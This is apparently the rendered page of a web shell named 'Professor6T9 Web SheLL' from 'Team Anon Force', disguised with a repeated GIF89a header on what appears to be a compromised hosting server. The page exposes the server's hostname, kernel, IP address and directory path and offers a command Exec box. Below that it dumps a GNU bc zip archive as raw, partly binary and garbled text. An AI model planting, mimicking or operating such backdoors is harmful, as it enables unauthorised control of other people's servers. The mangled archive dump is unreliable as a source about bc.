GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux server1.hnhtechsolutions.com 4.18.0-553.78.1.el8_10.x86_64 #1 SMP Tue Oct 7 04:15:13 EDT 2025 x86_64
Apache
198.177.124.167
/
home
/
portfolio
/
public_html
/
private
[ HOME ]
Exec
Submit
bc.zip
PK 2.kZiF�� � Examples/twins.bnu �[��� /* An example that finds all primes between 2 and limit. */ define primes (limit) { auto num, p, root, i prime[1] = 2; prime[2] = 3; num = 2; scale = 0; for ( p=5; p <= limit; p += 2) { root = sqrt(p); isprime = 1; for ( i = 1; i < num && prime[i] <= root; i++ ) { if ( p % prime[i] == 0 ) { isprime = 0; break; } } if (isprime) { num += 1; prime [num] = p; } } } print "\ntyping 'twins (10)' will print all twin primes less than 10.\n" define twins (limit) { auto i; i = primes(limit+2); for (i=1; prime[i] > 0; i++) { if ((prime[i]+2) == prime[i+1]) \ print "twins are ", prime[i], " and ", prime[i+1], "\n" } } PK 2.kZ�pϤ � Examples/pi.bnu �[��� /* This is a program to determine the distribution of digits in the fraction part of PI. It will look at the first scale digits. The results are left in the global variable digits. digits[0] is the number of 0's in PI. This program requires the math library. */ define pi () { auto ix, pi, save_scale, work; save_scale = scale; scale += 5; print "\n\nCalculating PI to ",scale," digits. Please wait . . ."; pi = 4*a(1); scale -= 5; work = pi; print "\nCounting digits. . ."; for (ix = 0; ix < 10; ix++) digits[ix] = 0; /* Extract the One's digit from pi. */ scale = 0; one_digit = work / 1; for (ix = save_scale; ix > 0; ix--) { /* Remove the One's digit and multiply by 10. */ scale = ix; work = (work - one_digit) / 1 * 10; /* Extract the One's digit. */ scale = 0; one_digit = work / 1; digits[one_digit] += 1; } /* Restore the scale. */ scale = save_scale; /* Report. */ print "\n\n" print "PI to ", scale, " digits is:\n", pi/1, "\n\n" print "The frequency of the digits are:\n" for (ix = 0; ix < 10; ix++) { print " ", ix, " - ", digits[ix], " times\n" } print "\n\n" } PK 2.kZB��y y Examples/primes.bnu �[��� /* An example that finds all primes between 2 and limit. */ define primes (limit) { auto num, p, root, i prime[1] = 2; prime[2] = 3; num = 2; if (limit >= 2) print "prime 1 = 2\n" if (limit >= 3) print "prime 2 = 3\n"; scale = 0; for ( p=5; p <= limit; p += 2) { root = sqrt(p); isprime = 1; for ( i = 1; i < num && prime[i] <= root; i++ ) { if ( p % prime[i] == 0 ) { isprime = 0; break; } } if (isprime) { num += 1; prime [num] = p; print "prime ", num, " = ", p, "\n" } } } print "\ntyping 'primes (10)' will print all primes less than 10.\n" PK 2.kZ�|�2J J Examples/ckbook.bnu �[��� scale=2 print "\nCheck book program!\n" print " Remember, deposits are negative transactions.\n" print " Exit by a 0 transaction.\n\n" print "Initial balance? "; bal = read() bal /= 1 print "\n" while (1) { "current balance = "; bal "transaction? "; trans = read() if (trans == 0) break; bal -= trans bal /= 1 } quit PK 2.kZM;� � AUTHORSnu �[��� Phil Nelson <philnelson@acm.org> wrote bc, including the number.c source in the "lib" directory. Ken Pizzini <ken@gnu.org> wrote dc, making use of the lib/number.c code that Phil Nelson wrote to handle the actual multiprecision arithmetic. PK 2.kZ��IT� � READMEnu �[��� GNU bc version 1.07: Extra configuration options: --with-readline tells bc to use the readline package that allows for editing input lines when run interactive. --with-editline tells bc to use the BSD editline package that allows for editing input lines when run interactive. Extra make steps: The simple make compiles a version of bc with fixed parameters for the recursive multiplication algorithm. The fixed parameter is the number of digits where a sequential algorithm is used instead of the recursive algorithm. It is set to a value that is known good on a couple of machines. (Sparc Ultra 10, Pentium II, 450.) I'm calling this point the crossover point. To make a version of bc with a custom crossover point for your machine, do the following steps: make timetest make The timetest step takes a minimum of 10 minutes to complete. -------- Original comp.sources.reviewed README -------- Program: GNU bc Author: Philip A. Nelson E-mail: phil@cs.wwu.edu OS: UNIX (BSD, System V, MINIX, POSIX) Copying: GNU GPL version 2 Copyright holder: Free Software Foundation, Inc. Version: bc version 1.01 Required: vsprintf and vfprintf routines. Machines: It has been compiled and run on the following environments: BSD4.3 (VAX 11) MINIX 1.5 (IBM PC, both K&R and ANSI compilers) MINIX 1.5 (pc532) SUN-OS 4.1 (SUN 3 and SUN 4) SVR3V5 (Motorola 68K) SVR3.2 (3B2) SVR4.0.2 (a 386 box) ULTRIX 4.1 (DEC 5000) UTS (Amdahl) bc is an arbitrary precision numeric processing language. Syntax is similar to C, but differs in many substantial areas. It supports interactive execution of statements. bc is a utility included in the POSIX P1003.2/D11 draft standard. This version was written to be a POSIX compliant bc processor with several extensions to the draft standard. Option flags are available to cause warning or rejection of the extensions to the POSIX standard. For those who want only POSIX bc with no extensions, a grammar is provided for exactly the language described in the POSIX document. The grammar (sbc.y) comes from the POSIX document. The Makefile contains rules to make sbc. (for Standard BC) Since the POSIX document does not specify how bc must be implemented, this version does not use the historical method of having bc be a compiler for the dc calculator. This version has a single executable that both compiles the language and runs the a resulting "byte code". The "byte code" is NOT the dc language. Also, included in the initial distribution is the library file vfprintf.c for MINIX systems. My minix 1.5 did not have this file. Also, you should verify that vsprintf.c works correctly on your system. The extensions add some features I think are missing. The major changes and additions for bc are (a) names are allowed to be full identifiers ([a-z][a-z0-9_]*), (b) addition of the &&, ||, and ! operators, (c) allowing comparison and boolean operations in any expression, (d) addition of an else clause to the if statement, (e) addition of a new standard function "read()" that reads a number from the standard input under program control, (f) passing of arrays as parameters by variable, (g) addition of the "halt" statement that is an executable statement unlike the quit (i.e. "if (1 == 0) quit" will halt bc but "if (1 == 0) halt" will not halt bc.), and (h) the addition of the special variable "last" that is assigned the value of each print as the number is printed. ----------------------------------------------------------------------- PK 2.kZ��*� � NEWSnu �[��� This is GNU bc version 1.07.1. (And dc version 1.4.1) Changes in bc from 1.07 to 1.07.1. Fixed ibase extension causing problems for read() Fixed parallel make problem. Changes in dc 1.4 to 1.4.1. Fixed dc "Q" comanmd bug. Changes in bc from 1.06 to 1.07. Added void functions. Bug fixes: fixes bug in load_code introduced by mathlib string storage in 1.06. fix to get long options working. signal code clean-up. fixed a bug in the AVL tree routines. fixed math library to work properly when called with ibase not 10. fixed a symbol table bug when using more than 32 names. removed a double free. Added base 17 to 36 for ibase. Fixed some memory leaks. Various small tweaks and doc bug fixes. Changes in dc from 1.3 to 1.4: Recognize and handle tail recursion. Add 'r' and 'R' commands for stack manipulation. Finally fix dc to trap interrupts, like the documentation has said it should: aborts any executing macros, but does not exit the program. Bug fixes. Miscellaneous code clean-up. Changed to detect directories and generate errors. Detects and reports on any output errors; exits non-success. Changes in dc from 1.2 to 1.3: Minor bug fixes. New multiply algorithm of bc. Changes in bc from 1.05 to 1.06: New multiply algoirthm and many other changes in lib/number.c Function size now done dynamically. Function syntax in non-posix mode allows newlines in more places. Bug fixes: improved computation of j(n,x). enables readline only if interactive. for statment bug fixed. use int instead of char for readline char counts. improved cosine accuracy. Changes in dc from 1.1 to 1.2: added !< != !> commands arrays now stack output is now line buffered, provided setvbuf() is available fixed known bugs in 'q', 'Q', 'a' commands, '-f' command-line option, and documentation changed the 'P' command's behavior on a numeric argument: due to popular demand it now does the equivalent of 'aP' (for small values) added new 'n' command to do what the old 'P' command did Changes in bc from 1.04 to 1.05: Solaris makes work better. bug fixes stdout now always does line buffering. sqrt bug fixed for small numbers. readline (if support is compiled in) is enabled only for interactive executions of bc. This is GNU bc version 1.04. (And dc version 1.1) Changes from 1.03 reorganization of source tree use of automake new commands for dc (|, ~, r, a) new command line options for dc fixed infinite loop in sqrt in bc fixed an I/O bug in bc made bc conform to POSIX for array parameters added long option support for bc new commandline options for bc (-q) added support for readline to bc (use configure --with-readline) command line argumens can now be taken from an environment variable Changes from 1.02 minor bug fixes in bc. addition of Ken Pizzini's dc program that uses the GNU bc arbitrary precision arithmetic routines. Changes from 1.01 minor bug fixes. PK 2.kZB'�4 FAQnu �[��� Because of frequent questions ....... here is the BC FAQ 1) Why does BC have its own arbitrary precision number routines (found in lib/number.c) rather than using GMP? GMP has "integers" (no digits after a decimal), "rational numbers" (stored as 2 integers) and "floats". None of these will correctly represent a POSIX BC number. Floats are the closest, but will not behave correctly for many computations. For example, BC numbers have a "scale" that represent the number of digits to represent after the decimal point. The multiplying two of these numbers requires one to calculate an exact number of digits after the decimal point regardless of the number of digits in the integer part. GMP floats have a "fixed, but arbitrary" mantissa and so multiplying two floats will end up dropping digits BC must calculate. 2) The code "ibase=16; obase=10; FF" outputs FF, not 255. Isn't this a bug? No. ibase changed the input base at that point. The 10 is then in base 16 and thus is the value 16. Therefore, both ibase and obase are 16 (decimal). And FF (base 16) on input is printed as FF (base 16) on output. So how can one get 255? First, single digit numbers are not converted using ibase. So A is always 10 (decimal). The following code will always work. "ibase=F+1; obase=A; FF" and that always prints 255. 3) Why is the scale variable ignored on multiply? That is the way POSIX specifics multiply. Reread the documentation for the multiply operation and see that multiply uses the scales of the numbers multiplied to determine the scale of the result. 4) bc's mod command is not working when I run with "bc -l". bc's mod (%) command works like integer remainder when scale is 0. The -l flag sets scale to 20 and that chanes how a % b is computed. Read the man page for exact details. PK 2.kZiF�� � Examples/twins.bnu �[��� PK 2.kZ�pϤ � Examples/pi.bnu �[��� PK 2.kZB��y y � Examples/primes.bnu �[��� PK 2.kZ�|�2J J � Examples/ckbook.bnu �[��� PK 2.kZM;� � , AUTHORSnu �[��� PK 2.kZ��IT� � T READMEnu �[��� PK 2.kZ��*� � L NEWSnu �[��� PK 2.kZB'�4 a'